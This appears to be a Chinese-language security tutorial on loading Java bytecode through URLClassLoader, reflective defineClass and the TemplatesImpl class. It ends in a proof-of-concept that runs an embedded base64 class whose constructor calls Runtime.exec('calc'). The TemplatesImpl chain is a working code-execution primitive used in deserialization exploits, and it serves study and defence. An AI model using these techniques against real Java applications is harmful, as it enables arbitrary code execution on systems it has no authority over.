Java加载字节码

字节码通常来说就是JVM可以识别的代码文件。

URLClassLoader加载字节码

正常情况下,Java会根据配置项sun.boot.class.pathjava.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
  • URL以斜杠/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件
  • URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类

这里可以启动一个http服务:

1
python -m http.server 80

在执行此命令的目录下放置编译好的class文件:

1
2
3
4
5
6
7
8
9
10
public class Exploit {
public Exploit() throws Exception {
Runtime.getRuntime().exec("calc");
System.out.println("hello");
}

static {
System.out.println("加载中");
}
}

然后在主程序执行:

1
2
3
4
5
6
7
8
9
10
11
12
import java.net.URL;
import java.net.URLClassLoader;

public class main {
public static void main(String[] args) throws Exception{
//利⽤ClassLoader加载远程字节码
URL[] urls = {new URL("http://127.0.0.1:80/")};
URLClassLoader classLoader = URLClassLoader.newInstance(urls);
Class c= classLoader.loadClass("Exploit");
c.newInstance();
}
}

加载过程

  • 首先loadClass从已加载的类缓存、父加载器等位置寻找类,在前面没有找到的情况下,执行findClass
  • findClass的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
  • defineClass的作用是处理前面传入的字节码,将其处理成真正的Java

这里将上面的class文件读取出来使用base64编码一下:

1
2
3
4
import base64
with open('Exploit.class','rb') as f:
code = base64.b64encode(f.read())
print(code.decode())

可以通过反射使用defineClass()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.reflect.Method;
import java.util.Base64;

public class main {
public static void main(String[] args) throws Exception {
// 反射获取defineClass
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
//解码加载
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAMAoACgAXCgAYABkIABoKABgAGwkAHAAdCAAeCgAfACAIACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACkV4Y2VwdGlvbnMHACQBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMAAsADAcAJQwAJgAnAQAEY2FsYwwAKAApBwAqDAArACwBAAVoZWxsbwcALQwALgAvAQAJ5Yqg6L295LitAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAkACgAAAAAAAgABAAsADAACAA0AAABMAAIAAQAAABYqtwABuAACEgO2AARXsgAFEga2AAexAAAAAgAOAAAAEgAEAAAAAgAEAAMADQAEABUABQAPAAAADAABAAAAFgAQABEAAAASAAAABAABABMACAAUAAwAAQANAAAAJQACAAAAAAAJsgAFEgi2AAexAAAAAQAOAAAACgACAAAACAAIAAkAAQAVAAAAAgAW");
Class Exploit = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Exploit", code, 0, code.length);
Exploit.newInstance();
}
}

TemplatesImpl加载字节码

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个包中有一个内部类TransletClassLoader

1
2
3
4
5
6
7
8
9
10
11
12
static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
}

/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

可以看到在这个内部类中是调用了defineClass方法的,可以逆向追踪到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类的defineTransletClasses()方法。

image-20240216185727756

关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

由上述代码可知_bytecodes不能为空,而且需要传入二维数组。并且由于if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }这行代码,所以要求我们传入的字节码必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类(结合getTransletInstance()方法一起看),所以Exploit改动一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Exploit extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public Exploit() throws Exception {
Runtime.getRuntime().exec("calc");
System.out.println("hello");
}
}

继续跟踪到getTransletInstance()

1
2
3
4
5
6
7
8
9
10
11
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
......

这里看到,defineTransletClasses()方法调用完成后实例化加载的字节码。同时也能看出_name不能为空,继续追踪到newTransformer()

1
2
3
4
5
6
7
8
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
......

可以看到从这里就已经是public权限了,所以从这里开始构造一个poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;


public class main {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Cristrik010");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}

static void setFieldValue(Object object,String FieldName,Object data) throws Exception{
Field bytecodes = object.getClass().getDeclaredField(FieldName);
bytecodes.setAccessible(true);
bytecodes.set(object,data);
}
}